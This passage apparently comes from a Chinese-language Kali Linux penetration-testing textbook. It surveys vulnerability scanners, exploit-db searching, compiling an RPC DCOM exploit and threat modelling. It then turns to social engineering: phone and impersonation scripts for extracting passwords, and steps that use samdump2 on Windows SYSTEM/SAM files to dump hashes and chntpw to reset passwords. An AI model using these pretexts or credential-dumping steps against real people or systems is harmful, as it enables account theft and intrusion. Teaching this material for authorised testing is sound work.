  漏洞扫描软件既有开源的也有商用的。

 
 4.2　本地和在线漏洞数据库
 
 总之，被动侦察和主动侦察确定了目标的攻击面，也就是说，可以对漏洞进行评估的点的总数。服务器是否能够被渗透与所安装的操作系统是否存在漏洞相关。然而，潜在的漏洞数量将随着安装的应用程序的数量的增长而增长。
 
 渗透测试者和攻击者必须找到即将攻击的具体漏洞，包括已知的漏洞以及怀疑的漏洞。漏洞搜索可以从供应商的网站开始。在发布补丁和升级的同时，大多数的硬件和应用程序供应商都会提供和安全漏洞相关的信息。如果一个特定弱点的利用是已知的，大多数供应商都会向客户强调那些特定的、已知的漏洞。虽然他们的目的是让客户来测试漏洞是否存在，但同时，攻击者和渗透测试人员也可以利用这类信息。
 
 收集、分析和共享有关漏洞的网站信息如下：
 
 ·国家漏洞数据库，整合了所有由美国政府发布的公开漏洞数据：http://web.nvd.nist.gov/view/vuln/search。
 
 ·安全监控网站Secunia：http://secunia.com/community/。
 
 ·数据包风暴安全网址：http://packetstormsecurity.com/。
 
 ·安全焦点网址：http://www.securityfocus.com/vulnerabilities。
 
 ·由Offensive Security维护的可以利用的漏洞数据库网址：http://www.exploit-db.com。
 
 ·渗透测试人员可以浏览一下https://0day.today/获取零日漏洞信息。
 
 漏洞数据库也被复制到本地Kali，并且可以在/usr/share/exploitdb目录中找到。
 
 搜索漏洞数据库（exploitdb）的本地副本，需要打开终端窗口，在命令提示符下输入searchsploit和需要搜索的关键词。这将调用一个脚本，脚本搜索含所有漏洞列表的数据库文件（.csv）。搜索将返回对已知漏洞的描述，以及和该漏洞相关的路径。特定漏洞可以被提取、编译和运行。图4-1是vs FTPd漏洞的结果。
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 图4-1　vs FTPd漏洞
 
 [image: ]搜索脚本从左至右扫描数据库CSV文件中的每一行，因此搜索项的顺序很重要，搜索Oracle10g将返回多个漏洞，但10g Oracle本身不会返回任何漏洞。并且，该脚本是区分大小写的。尽管提示你使用小写字符的搜索词，搜索“vsFTPd”不会返回任何结果，而“vs FTPd”（“vs”和“FTPd”中间有空格）则会返回很多结果。使用grep命令，或者搜索工具如KWrite（apt-get install kwrite），可以对CSV文件进行更加有效的搜索。
 
 对本地数据库的搜索可能会识别出几种可能的漏洞，附带有一个描述和路径列表。然而，这需要根据你的相应环境进行定制，并在使用前进行编译。复制漏洞到/tmp目录下（给定路径不考虑保留在/platforms目录中的/windows/remote目录）。
 
 漏洞利用以脚本的形式呈现，例如，Perl、Ruby和PHP等，都是相对易于实现的脚本语言。例如，如果攻击目标是Microsoft IIS6.0服务器，攻击者会相对容易绕过远程认证，复制该漏洞利用到根目录，然后像标准的Perl脚本那样执行，如图4-2所示。
 
  
  [image: ] 
 
 
 图4-2　运行标准的Perl脚本
 
 许多漏洞在使用前必须像源代码那样进行编译。例如，搜索RPC-specific漏洞，识别多种可能的漏洞利用。摘录如图4-3所示。
 
 RPC DCOM漏洞识别工具，如76.c，实践中证明它是相对稳定的。因此，我将以它作为例子。为了编译该漏洞利用工具，首先将它从存储目录复制到/tmp下。在该位置，通过以下命令使用GCC进行编译：
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 图4-3　PRC相关漏洞
 
 这里将使用GNU编译器集对76.c进行编译，然后输出（-o）文件76.exe，如图4-4所示。
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 图4-4　用GNU编译76.c，生成76.exe
 
 当针对目标调用应用程序时，你必须使用如下所示的符号链接来调用可执行文件（该文件并未存储在/tmp目录）：
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 这个漏洞利用的源代码有清晰的文档记录，并且需要执行的参数一目了然，如图4-5所示。
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 图4-5　76.exe文件的运行参数
 
 遗憾的是，不是所有来自漏洞数据库和其他公共资源的漏洞都像76.c一样容易编译。这里为渗透测试人员列出了几种可能存在危险的漏洞利用情况：
 
 ·会经常遇到蓄意的错误或不完整的源代码，因此有经验的开发人员尽量让漏洞远离没有经验的用户，尤其是试图破坏系统但又不清楚自己行为将带来什么风险的新手。
 
 ·漏洞利用并不总是有详尽的文档解释。毕竟，没有一个标准用于管理数据系统攻击代码的创建和使用。作为一个结果，实践往往较为困难，特别是对于缺乏应用开发的测试者。
 
 ·由于环境变化导致行为不一致（新的补丁应用到目标系统、目标应用程序中的语言变化）可能需要对源代码进行重大调整，这需要一个有经验的开发人员。
 
 ·免费提供的、包含恶意的代码，总是存在风险。渗透测试人员可能会认为它是在进行概念验证（POC）练习，并不知道该代码同时为该应用程序建了一个后门，可以供开发者使用。
 
 为了确保结果的一致性，遵循一致性实践的程序员创建了一个程序员社区，已经开发出几种渗透利用的框架。其中，最为流行的是Metasploit框架。
 
 
 4.3　用nmap进行漏洞扫描
 
 没有nmap就不能安全运行分配，到目前为止，我们已经讨论了如何在主动侦察中使用nmap，但攻击者不仅会用nmap来查找开放的端口和服务，而且还会用nmap来执行漏洞评估。截止到2017年3月10日，nmap的最新版本是7.40，附带500+NSE（nmap脚本引擎）脚本，如图4-6所示。
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 图4-6　查看nmap7.40的脚本库
 
 渗透测试人员能够利用nmap最强大且最灵活的功能，编写自己的脚本，并使其自动化以方便利用。开发NSE的主要原因如下：
 
 ·网络发现：攻击者利用nmap的主要目的是网络发现，正如我们在第3章的主动侦察中所学到的一样。
 
 ·服务的分类版本检测：共计数千种服务。把多个版本的详细信息集中到同一个服务上显得更加复杂。
 
 ·漏洞检测：在广泛的网络范围内自动识别漏洞。然而，nmap本身并不完全是漏洞扫描程序。
 
 ·后台检测：一些脚本被编写用来识别后台模式。如果网络上有任何蠕虫感染，一些脚本将被写入以识别该模式，这样使得攻击者的工作变得更集中，能专注于远程接管机器。
 
 ·漏洞利用：结合nmap的漏洞利用能力，攻击者还可以利用nmap与其他工具（如Metasploit）结合开发，或者编写一个定制的反向shell代码。
 
 在启动nmap执行漏洞扫描之前，渗透测试人员必须更新nmap脚本数据库，查看是否有新脚本添加到数据库中，防止错过该漏洞识别：
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 针对目标主机运行所有脚本：
 
  
  [image: ] 
 
 
 
 4.3.1　Lua脚本介绍
 
 Lua是一种建立在C语言之上的轻量级嵌入式脚本语言，于1993年在巴西创立，至今仍然在积极发展中。它是一种强大而快速的编程语言，主要用于游戏应用和图像处理。一些平台的完整的源代码、手册和二进制文件一般不超过1.44 MB（小于软盘）。Lua开发的安全工具有nmap、Wireshark和Snort 3.0等。
 
 选择Lua作为信息安全的脚本语言的原因之一是其紧凑性，没有缓冲区溢出和格式化字符串漏洞，并且可解析。
 
 Lua可以通过在终端上使用apt-get install lua5.3命令直接安装到Kali Linux。以下代码是用于读取文件并打印第一行的示例脚本：
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 Lua类似于任何其他脚本，例如Bash和Perl脚本。图4-7是上述脚本的输出结果。
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 图4-7　执行上述脚本文件的结果
 
 
 4.3.2　自定义NSE脚本
 
 为了实现效率最大化，自定义脚本有助于渗透测试人员在规定时间内找到正确的漏洞。但是，大多数时候，攻击者并没有时间限制。以下代码是一个Lua NSE脚本，使用nmap标识在整个子网上搜索的特定文件位置：
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 将文件保存到/usr/share/nmap/scripts/文件夹中。最后，保证可运行NSE脚本，准备好进行脚本测试，如图4-8所示。
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 图4-8　用nmap执行Lua NSE脚本
 
 为了理解上面的NSE脚本，这里解释代码中的内容：
 
 ·local http：require'heep'：从Lua调用正确的库，该行调用HTTP脚本并将其作为本地请求。
 
 ·description：测试者/研究人员可以输入脚本的解释。
 
 ·categories：这通常有两个变量，其中一个声明是安全还是侵入。
 

  4.4　Web应用漏洞扫描器


  漏洞扫描器具有所有扫描器的共同缺点（扫描器只能检测已知漏洞的签名，它们不能确定一个漏洞实际上是否还可以被利用，还有就是假阳性的报告率很高）。此外，Web漏洞扫描器不能识别业务逻辑的复杂错误，它们没有准确地模拟黑客所使用的复杂链接攻击。


  在努力提高可靠性方面，许多渗透测试者使用多种工具扫描Web服务。当多个工具同时报告可能存在一个特定的漏洞时，这样的共识将直接驱使测试者手动验证漏洞是否存在。


  Kali针对Web服务配有大量漏洞扫描器，并为安装新的扫描器和扩展其能力提供了一个稳定平台。这就允许渗透测试人员通过选择扫描工具来提高测试的有效性：


  ·最大限度的完整性（漏洞发现的总数）和测试精度（真实的、非假阳性的漏洞结果）。


  ·尽量减少获得可用的结果所需的时间。


  ·尽量减少对被测试网络服务的负面影响。这包括由于流量的增加而使系统反应变慢。例如，最常见的负面影响之一是这种测试结果的形式，即输入数据到数据库，然后通过电子邮件向每个人发送已经发生的更新，这种不受控制的测试形式，可以导致发送超过30 000封电子邮件！


  选择最有效的工具是非常复杂的。除了已经列出的因素，一些漏洞扫描器也具有相应的漏洞利用和支持后期漏洞活动的功能。对于我们而言，我们会将所有扫描可利用弱点的工具考虑为漏洞扫描器。Kali提供几种不同的漏洞扫描器，主要如下：


  ·扩展了传统漏洞扫描程序的功能，包括网站和关联服务（例如，Metasploit框架和Websploit）的扫描器。


  ·拓展了非传统的应用功能，如Web浏览器，支持Web服务漏洞扫描（OWASP Mantra）的扫描器。


  ·专门开发用于支持对网站和网页服务的侦察和利用检测（Arachnid、Nikto、Skipfish、Vega、w3af等）的扫描器。

 
 4.4.1　Nikto和Vega简介
 
 Nikto是对Web服务器执行全面测试活动最有效的Web应用扫描器之一。基本功能是检查6 700多个有潜在危险的文件或程序，检查服务器的过时版本，以及270多个服务器特定版本的漏洞。Nikto识别服务器错误配置、索引文件、HTTP方法，以及识别已安装的Web服务器和软件版本。Nikto根据Open-General公共许可证版本（https://opensource.org/licenses/gpl-license）发布。
 
 一个基于Perl的开源扫描器，允许躲避IDS以及用户改变扫描模块。然而，这种“原生态”的网络扫描器已开始跟不上形势发展，它没有某些现代扫描器准确。
 
 大多数测试者开始测试一个网站时都使用Nikto，这是一个简单的扫描器（特别是有关结果报告），通常提供准确但有限的结果。这种扫描的一个样本输出如图4-9所示。
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 图4-9　使用Nikto测试网站
 
 下一步是使用更先进的扫描器扫描大量的漏洞。相对来说，它们可能需要更长的时间来完成。复杂的漏洞扫描是不寻常的（如确定被扫描的网页的数目，也就是网站的复杂性，可能包含多种页面，允许用户输入，如搜索功能或表单，从用户的后台数据库收集数据），需要数天才能完成。
 
 基于验证发现漏洞数量的、最有效的扫描器之一是Subgraph Vega。如图4-10所示，它会扫描目标，并将漏洞分级为高、中、低和信息性的。为了得到特定的结果，该测试器能够点击确定结果为“drill down”（深入）。该测试器还可以修改搜索模块，这是用Java编写的，专注于特定的漏洞或找出新的安全漏洞。
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 图4-10　使用Subgraph Vega发现漏洞
 
 Vega可以帮助用户找到漏洞，例如映射跨站点脚本、存储跨站点脚本、盲SQL注入、远程文件包含、shell注入等。Vega还可以对TLS/SSL进行安全设置，提高TLS服务器安全性。
 
 Vega还提供了Proxy部分的特殊功能，允许渗透测试人员回复请求并观察响应以执行验证，我们称之为手动PoC。图4-11显示了Vega的Proxy部分的内容。
 
  
  [image: ] 
 
 
 图4-11　Vega的Proxy部分的内容
 
 
 4.4.2　定制Nikto和Vega
 
 从Nikto2.1.1版本开始，社区允许开发人员调试和调用特定的插件，同样，从版本2.1.2开始可以相应地进行定制，所有插件都在列表中，然后指定一个特定的插件来执行任何扫描。目前渗透测试人员可以使用的插件大约有35个，图4-12提供了在最新版本的Nikto中可用的插件。
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 图4-12　Nikto中可用的插件列表
 
 例如，如果攻击者发现工具信息，如Apache server2.2.0，那么可以通过运行以下命令将Nikto自定义为仅为Apache用户枚举运行特定插件：
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 攻击者也可以通过nikto.pl-host<hostaddress>-port<hostport>-useragentnikto-useproxyhttp：//127.0.0.1:8080命令来扫描burp或者其他代理工具。
 
 渗透测试人员的运行结果如图4-13所示。
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 图4-13　用Nikto自定义针对Apache的特定插件
 
 当Nikto插件成功运行时，输出文件apacheusers.xml将包含目标主机上的活动用户。
 
 与Nikto类似，Vega还允许我们通过导航窗口并选择偏好项（Preference）来定制扫描器，通过它可以设置一般的代理配置，甚至可以为第三方代理工具指定流量。然而，Vega有自己的代理工具可以使用。图4-14提供了在开始Web应用程序扫描之前可以设置的扫描器选项。
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 图4-14　Vega扫描器列表
 
 攻击者可以定义自己的用户代理或模拟任何知名的用户代理头，如IRC bot或Google bot，还可以配置最大数量的总派生和子进程，以及可以遍历的路径数。例如，如果泄露显示了www.target.com/admin/，有一个字典添加到URL：www.target.com/admin/secret/。默认情况下最大值设置为16，但是攻击者可以利用其他工具来深入挖掘，以最大限度地提高Vega的有效性，并且精确地选择路径的正确数量，在存在保护机制的情况下，例如WAF或网络级IPS，渗透测试人员可以选择以每秒慢速连接的速度扫描并发送到目标。还可以设置最大响应，默认设置为1 MB（1 024 KB）。
 
 一旦设置了偏好项，在添加新扫描时可以进一步自定义扫描。当渗透测试人员点击New Scan，输入基本URL进行扫描并单击Next，进入如下界面（如图4-15所示）。
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 图4-15　Vega选择模块界面
 
 Vega提供两个部分进行自定义：一个是注入模块，另一个是响应处理模块：
 
 ·注入模块：这包括作为内置Vega Web漏洞数据库一部分的漏洞利用模块列表，并测试目标的漏洞，例如，SQL盲注入、XSS、远程文件包含、本地文件包含、头注入等。
 
 ·响应处理模块：这包括可以作为HTTP响应本身的一部分安全配置列表，例如目录列表、错误页面、跨域策略、版本控制字符串等。Vega还支持测试人员添加自己的插件模块（https://github.com/subgraph/Vega/）。
 
 
 4.5　移动应用漏洞扫描器
 
 渗透测试人员经常忽视在App商店（Apple、Google等）上的移动应用程序。然而，这些应用程序也会用作网络入口点。在本节中，我们将介绍如何快速设置移动应用程序扫描器，以及如何将移动应用程序扫描器的结果组合在一起，并利用信息来识别更多的漏洞，以实现渗透测试的目标。
 
 移动安全框架（Mobile Security Framework，MobSF）是针对所有移动平台（包括Android、iOS和Windows）的开源自动渗透测试框架。整个框架是用Django Python框架编写的。
 
 该框架可以从https://github.com/MobSF/Mobile-Security-Framework-MobSF直接下载，也可以从Kali Linux克隆，克隆命令为：git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF。
 
 克隆好框架后，按照以下步骤加入移动应用扫描器。
 
 1.通过cd命令进入Mobile-Security-Framework-MobSF文件夹：
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 2.用以下命令安装依赖包：
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 3.安装完成后，通过输入python3manage.py test来测试配置设置，你应当可以看到如图4-16所示的内容。
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 图4-16　在Kali Linux上测试配置设置
 
 4.现在转移应用程序安装：
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 5.通过使用python manage.py runserver yourIPaddress:portnumber运行漏洞扫描器，如图4-17所示。
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 图4-17　运行漏洞扫描器
 
 6.在浏览器中访问http://yourIPaddress:Portnumber，将侦察期间发现的任何移动应用程序上传到扫描器，用于识别入口点。
 
 7.一旦文件上传，渗透测试人员可以识别扫描器的配置文件以及所有其他重要信息，如图4-18所示。
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 图4-18　查看扫描器的配置文件信息
 
 扫描结果可以提供所有的移动应用配置信息，例如活动、服务、接收者、提供者等。这些配置信息有时还包括可用于其他鉴别服务和漏洞的硬编码凭据或云API密钥。在渗透测试练习时，我们在目标移动应用的一个Java文件的注释中发现了一个开发者账号和base64密码，有了这些信息就可以访问该机构的外部VPN了。
 
 移动安全框架的核心部分在URL、恶意软件和字符串中。
 
 
 4.6　网络漏洞扫描器OpenVAS
 
 开放漏洞评估系统（Open Vulnerability Assessment System，OpenVAS）是一个开源的漏洞评估扫描器，也是攻击者通常用来大规模扫描网络的漏洞管理工具，其中大约包括有47 000个漏洞的数据库。然而，与其他商业工具（如Nessus、Nexpose、Qualys等）相比，这可以被认为是一个比较慢的网络漏洞扫描程序。
 
 如果OpenVAS尚未安装，请确保Kali是最新版本，并通过运行apt-get install openvas命令安装最新的OpenVAS。安装完成后，运行openvas-setup命令设置OpenVAS。为了确保安装可行，渗透测试人员可以运行openvas-check-setup命令，它会列出有效运行OpenVAS所需的前10个项目。安装成功后，测试人员应该能够看到如图4-19所示的内容。
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 图4-19　OpenVAS安装成功的界面
 
 接下来，通过运行openvasmd--user=admin--new-password=YourNewPassword1，--new-password=YourNewPassword1命令创建管理员用户，并通过从提示符运行openvas-start命令启动OpenVAS扫描器和OpenVAS管理器服务。根据带宽和计算机资源，这可能需要一段时间。安装和更新完成后，渗透测试人员应能够使用SSL（https://localhost:9392）访问9392端口上的OpenVAS服务器，如图4-20所示。
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 图4-20　选择端口访问OpenVAS
 
 下一步是通过使用yournewpassword1作为密码，输入admin作为用户名来验证用户凭据，测试人员应该可以顺利登录，登录成功界面如图4-21所示。攻击者现在可以通过输入目标信息，并从扫描器界面点击Start Scan（开始扫描）来设置OpenVAS。
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 图4-21　OpenVAS主界面
 
 定制OpenVAS
 
 与其他扫描器不同的是，OpenVAS还可以自定义扫描配置，它允许测试人员添加凭证，禁用特定的插件，并设置可以进行的最大和最小连接数等。图4-22显示了允许定制的不同扫描设置。
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 图4-22　OpenVAS自定义扫描配置界面
 

  4.7　商业漏洞扫描器


  大多数攻击者都使用开源工具实施攻击，而商用漏洞扫描器在加速渗透测试过程方面有各种优缺点。在本节中，我们将学习在Kali Linux中安装Nessus和Nexpose。由于这些扫描器都是大公司开发的，提供了综合文档，因此，我们不会过多阐述它们的配置方法。

 
 4.7.1　Nessus
 
 Nessus由Renaud Deraison于1998年发起的，是最老的漏洞扫描器之一。Nessus曾是一个开源项目，直到2005年被Tenable网络安全公司（由Renaud合作创建）接管。尽管Tenable拥有多款安全产品，但是，在安全圈内，Nessus是用于网络架构扫描的最常用的商用漏洞扫描器之一。本节我们将了解如何安装Nessus专业版。
 
 根据以下步骤完成Nessus在Kali Linux上的安装：
 
 1.访问https://www.tenable.com/try网站并注册为普通用户，然后选择Try Nessus Professional Free（免费试用Nessus专业版）。
 
 2.从https://www.tenable.com/downloads/网站下载对应的Nessus版本。
 
 3.下载完成后，通过以下命令进行安装：
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 此时，测试人员将在Kali Linux中看到如图4-23所示的界面。
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 图4-23　Nessus安装界面
 
 4.接着通过运行service nessusd start开启nessus服务，然后Nessus就在系统中启动了。
 
 5.默认情况下，Nessus扫描器的运行端口是SSL的8834号端口。Nessus安装成功后的画面如图4-24所示。
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 图4-24　Nessus启动界面
 
 6.添加一个新用户并激活注册码。扫描器将根据注册码下载所有相关插件。
 
 7.最后，你将看到Nessus的运行界面（如图4-25所示），此时你就可以对目标系统或网络实施扫描了。
 
  
  [image: ] 
 
 
 图4-25　Nessus运行界面
 
 
 4.7.2　Nexpose
 
 类似于Nessus，Rapid 7 Nexpose也是一款广泛使用的商业漏洞扫描器，它支持针对任何机构的漏洞全生命周期管理。想利用该扫描器的攻击者可以申请免费试用版。
 
 根据以下步骤完成Rapid 7 Nexpose在Kali Linux上的安装：
 
 1.注册Rapid 7账号（https://www.rapid7.com/products/nexpose/request/），你需要一个有效的商业电子邮箱来接收激活码。
 
 2.通过运行以下代码，从官网下载安装包：
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 通过以下命令修改下载文件的权限，如果系统环境不满足可能报错。
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 根据扫描器要求输入信息，如用户名、密码、证书等。根据指引完成Nexpose安装，你将看到如图4-26所示的画面。
 
 3.默认情况下，Nexpose运行端口为SSL的3780号端口。所以，测试人员能通过https://localhost:3780/访问Nexpose。
 
 4.同样，Nexpose也会根据注册码下载所有插件，随后你就可以登录Nexpose漏洞扫描器了（如图4-27所示）。
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 图4-26　Nexpose安装画面
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 图4-27　Nexpose登录界面
 
 
 4.8　专业扫描器
 
 杀链的利用阶段是最危险的一个阶段，渗透测试人员或攻击者直接与目标网络或系统交互，他们的活动很可能会被记录，他们的身份也很可能会被发现。因此，必须采用秘密技术，以最大限度地减少测试人员暴露的风险。虽然没有具体的方法或工具可以确定未被检测到，但是，改变一些配置，以及利用特别的工具，将使检测更加困难。
 
 另一个值得使用的扫描器是Web应用程序攻击和审计框架（Web Application Attack and Audit Framework，w3af），一个基于Python的开源Web应用程序安全扫描器。它提供预配置的漏洞扫描，以支持诸如OWASP等标准。使用扫描器的过多选项是有代价的，它需要的时间明显长于其他扫描器审查目标的时间，并且在很长的测试时间中，很容易出现故障。配置为样本网站的完整审计的w3af实例如图4-28所示。
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 图4-28　使用w3af审计
 
 Kali还包括一些应用特定的漏洞扫描器。例如，WPScan是专门用于WordPress CMS应用的。
 
 
 4.9　威胁建模
 
 被动和主动侦察阶段，将在目标网络和系统之间形成映射，同时识别攻击者可利用的安全漏洞。在这个阶段，攻击者的杀链对动作有一个强烈的偏见——测试者希望通过直接启动攻击来证明他们可以击垮目标。然而，意外攻击可能并不是实现目的最为有效的手段，它可能以牺牲所需要的隐身性为代价来实现攻击目的。
 
 渗透测试人员已经采取的（正式或非正式的）一个过程，被称为威胁建模。这最初是由网络规划者发展起来的，制定针对攻击的防御对策的过程。
 
 渗透测试人员和攻击者通过不断寻找防御威胁建模方法来提高攻击的成功率。攻击威胁建模是制定攻击策略的一个较为常见的手段，它将侦察和研究的结果相结合。攻击者必须充分考虑现有的目标，并确定目标是以下何种类型：
 
 ·首要目标：这些是任何组织的主要入口点目标。当这些目标被击垮时，它们将直接帮助攻击者达到目的。
 
 ·次要目标：这些目标可以提供信息（安全控制、密码、登录政策、以及本地和域管理员的用户名和密码）以支持对首要目标进行攻击或访问。
 
 ·第三目标：这些目标可能与测试或攻击对象无关，但是相对容易攻击，有可能为实际攻击提供信息或者其他思路。
 
 对每种类型的目标，测试者需要确定相应的测试方案。单个漏洞可以通过秘密技术进行攻击，而多目标可以通过大量攻击来对目标进行快速渗透。如果实施一个大规模的攻击，防护者的控制装置产生的噪声经常会导致他们减少在路由器和防火墙的登录次数，甚至完全禁用它们。
 
 该方法对渗透选择具有指导性作用。一般情况下，攻击者创建威胁模型时，将遵循图4-29所示的攻击树方法。
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 图4-29　威胁模型的攻击树图
 
 攻击树方法为测试者查看可用的攻击选项提供了便利，如果一个攻击方案没有成功，也可以快速找到替代方案。一旦生成攻击树，接下来渗透阶段需要确定该渗透是否可以对目标对象的漏洞进行攻击。在上面的攻击树中，我们可视化了获取工程文档的目标，这对于提供工程服务的组织来说更为关键。
 

  4.10　小结


  在本章中，我们重点介绍了多个漏洞评估工具和技术。我们已经学会如何用NSE编写自己的nmap漏洞脚本和使用工具，这些工具可以将主动侦察的结果转换为一个定制的活动，建立起测试人员和目标之间的访问。我们还学习了如何在Kali Linux上安装OpenVAS、Nessus和Nexpose漏洞扫描器。


  Kali提供了一些工具来方便开发、选择和漏洞利用，包括内部exploit-db（searchsploit）数据库，以及简化漏洞利用和管理的几个框架。


  第5章将重点介绍攻击者杀链最重要的部分——利用阶段。物理安全是访问数据系统的一种方法（如果你可以引导系统或者有root权限！）。物理安全与社会工程学联系紧密，黑客的艺术与对他们的信任息息相关。这是攻击的一部分，在这里攻击者实现他们的目标。典型的利用活动包括利用访问控制来横向扩展和利用窃取用户凭据来纵向扩展。


  第5章　高级社会工程学和物理安全


  社会工程学是从人出发提取信息的一门艺术。近年来，社会工程学攻击在给定环境和条件下的行为利用和寻找弱点方面取得了很大进展。社会工程学攻击可有效用于欺骗用户从而获取目标系统的物理访问。在渗透测试、红队训练和真实攻击中，它是单一最成功的攻击途径。社会工程学攻击能够成功的关键因素有以下两个：


  ·在侦察阶段获取的信息，攻击者必须知道目标的名称和用户名。更重要的是，攻击者要弄清楚目标网络中用户所关注的东西。


  ·弄清楚如何利用这些信息说服潜在目标，通过角色模仿，用电话与他们交谈，向他们发送请求，劝说可能的目标点击某个链接或者执行某个程序，从而进行攻击。近年来，以下两种欺骗手段是最成功的：


  ·如果目标公司最近刚刚完成年终考核，那么公司的每个员工都会十分关注从人力资源部接收更新的薪酬方案。因此，标题内容与上述话题有关的邮件或者文档，更容易被目标企业的员工打开。


  ·如果目标企业与其他公司并购或合并不久，针对公司C级别的经理和其他高层的社会工程学攻击就可能成功。此类攻击背后的原理是，用户的权限越多，攻击者越可能获得访问权限。


  Kali Linux提供了一些工具和框架，在利用社会工程学去影响受害者，使其打开文件或执行某些操作时，这些工具和框架能够增加成功的机会。例如，Metasploit框架生成的基于文件的可执行文件，以及非可执行文件攻击技术（如利用Empire的PowerShell脚本）。


  本章主要介绍社会工程学工具包（Social-Engineering Toolkit，SEToolkit）和Gophish。本章介绍的使用这些工具的技术可以作为使用其他工具进行社会工程学攻击时的参考模型。


  在本章中，你将学习：


  ·攻击者可以利用的不同社会工程学攻击方法。


  ·如何在控制台执行物理攻击。


  ·如何使用微控制器和USB创建流氓物理设备。


  ·如何使用凭据收割机攻击窃取或者收集用户名和密码。


  ·如何进行标签钓鱼和Web劫持攻击。


  ·如何使用多种Web混合攻击方法。


  ·如何使用PowerShell的字母数字shellcode注入攻击。


  ·如何在Kali Linux上设置Gophish。


  ·如何启动电子邮件网络钓鱼攻击。


  ·为了支持SEToolkit工具包进行社会工程学攻击，我们会描述下面的一般应用实践：


  ·隐藏恶意的可执行文件和伪装攻击者的URL。


  ·使用DNS重定向来升级攻击。


  ·通过USB获取系统和网络的访问权限。

 
 5.1　方法论和攻击方法
 
 作为一种支持杀链的攻击途径，社会工程学关注的是攻击的不同方面，具体来说就是利用人的信任关系或者内部人员的帮助，通过欺骗的手段入侵一个网络及其资源。图5-1描述了攻击者可用于获取信息的不同类型的攻击方法。
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 图5-1　社会工程学获取信息的主要方法
 
 不同于本书的第2版，这里我们将社会工程学攻击分成两大类：基于技术的攻击和基于人的攻击。
 
 下面将对每种类型简要介绍，而且本章我们会探讨基于计算机的攻击，并重点介绍物理攻击以及使用Kali Linux进行电子邮件钓鱼。
 

  5.1.1　基于技术的攻击


  随着技术的演进，社会工程学也从传统的基于计算机和笔记本的攻击，发展为基于手机的攻击。本节我们将分别探讨在Kali Linux上实施基于计算机的攻击和基于手机的攻击。


  基于计算机的攻击


  利用计算机去实现社会工程学攻击的方法分为以下类型。只有当最大程度地利用所有被动和主动侦察信息时，才能最好地利用所有这些不同类型的攻击：


  ·电子邮件钓鱼（Email phishing）：攻击者利用电子邮件获取信息，或利用受害者系统中已知软件漏洞的攻击，称为电子邮件钓鱼。


  ·引诱（Baiting）：这是一种用于嵌入已知漏洞并创建后门的技术，通过使用U盘和光盘实现目标。引诱更注重通过物理媒介来利用人类的好奇心。攻击者可以创建一个木马，通过自动运行功能，或当用户单击打开驱动器中的文件时，木马将为他们提供对系统的后门访问。


  ·WiFi钓鱼（WiFi phishing）：渗透测试人员可以通过设置类似于目标企业的假WiFi获取用户名和密码。例如，如果攻击者的目标是XYZ公司，通过将WiFi中的SSID设置为与该公司完全相同或相似，允许用户在没有任何密码的情况下连接到假的无线路由器。


  基于手机的攻击


  ·短信钓鱼（SMSishing）：攻击者利用短信服务（Short Message Service，SMS）发送链接或者短信诱使目标点击或回复，从而实施钓鱼攻击。渗透测试人员还可以使用公开提供的服务，例如https://www.spoofmytextmessage.com/free。


  ·二维码（Quick Response Code，QR code）：在红队训练中，二维码是将攻击数据发送到孤立的目标区域最有效的方式。与垃圾邮件类似，可以将二维码打印并粘贴到人流密集的地方，比如餐厅、吸烟区、厕所或其他地方。


  5.1.2　基于人的攻击


  在红队训练和渗透测试中，基于人的攻击方式是最有效的，其主要关注人在特定情境下的行为。下面，我们将介绍针对不同人的弱点所实施的攻击的不同类型和策略。


  物理攻击


  物理攻击通常指涉及攻击者的物理存在所进行的社会工程学攻击。以下是红队训练或渗透测试中可能执行的两种物理攻击：


  ·冒充（Impersonation）：这需要测试人员创建一个剧本，模仿一个重要的人物来收集目标公司一组员工的信息。我们最近实践了一次社会工程学攻击，目的是通过物理社会工程学攻击来识别域用户的用户名和密码。攻击者可以与受害用户交谈，并冒充内部IT帮助台：“亲爱的X先生，我是内部IT部门的X博士，请注意，您的系统已经与网络断开了20天，由于最新的勒索攻击，建议您安装最新的系统更新，您是否介意提供笔记本电脑的用户名和密码？”这导致用户提供他们的登录细节信息，甚至将笔记本电脑提供给攻击者。现在，攻击者的下一步是为同一个系统建一个后门来维持持续访问。


  ·控制台上的攻击（Attacks at the console）：这涉及物理访问系统的所有攻击，例如更改管理员用户的密码、植入键盘记录器、提取存储的浏览器密码或安装后门。


  基于语音的攻击


  任何利用语音信息欺骗用户对计算机执行操作或泄露敏感信息的攻击都可称为基于语音的社会工程学攻击。


  ·语音钓鱼（Vishing）是利用语音消息记录或单独与受害者通话从而提取受害者个人或群体的信息的艺术。通常，语音钓鱼涉及可信任的剧本，例如，如果X公司宣布与Y公司建立新的合资企业，员工将非常好奇公司的未来会如何。这使得攻击者可以直接用预先描述的剧本来致电受害者，如下所示：


  “您好，我是Y公司的XX。我们两个的公司现在合并了，所以，可以说我们现在在同一个团队工作。话虽如此，请问可以告诉我你们的数据中心位于哪里并提供给我关键任务服务器列表吗？如果您不知道，您能告诉我谁知道这些信息吗？非常感谢！”


  5.2　控制台上的物理攻击


  本节我们将探讨攻击者在具有物理访问权限的系统上执行的不同类型的攻击。

 
 5.2.1　samdump2和chntpw
 
 转储密码散列的最佳方法之一是使用samdump2。这可以通过打开所获得的系统电源，然后利用Kali U盘在BIOS中进行必要的更改来完成。
 
 1.一旦系统通过Kali启动后，在默认情况下，本地硬盘驱动器必须安装为一个媒体驱动器（假设媒体驱动器没有使用PGP或类似的加密），如图5-2所示。
 
 2.如果驱动器无法安装，攻击者可以按照下面的步骤来安装驱动器，运行以下命令：
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 3.系统安装完成后，找到安装文件夹（我们这里是/media/root/<ID>/Windows/System32/Config），并运行samdump2SYSTEM SAM，如图5-3所示。SYSTEM和SAM文件应该显示所有系统驱动器上的用户以及他们的密码散列值，然后使用John Ripper或credump工具离线破解密码。
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 图5-2　本地硬盘驱动安装为媒体驱动器
 
  
  [image: ] 
 
 
 图5-3　运行samdump2SYSTEM SAM
 
 使用相同的访问权限，攻击者也可以删除系统中用户的密码。chntpw是一个Kali Linux工具，可以用于编辑Windows注册表、重置用户密码、将用户提升为管理员，以及其他一些有用的选项。使用chntpw重置Windows密码是一种很好的方法。或者，当你不知道密码的时候，也可以使用chntpw获得对Windows的访问。
 
 chntpw是用于在Windows NT/2000、XP、Vista以及7中查看一些信息和更改用户密码的实用程序。
 
 4.SAM用户数据库文件通常位于Windows文件系统上的\WINDOWS\system32\config\SAM。找到上述文件夹，如图5-4所示。
 
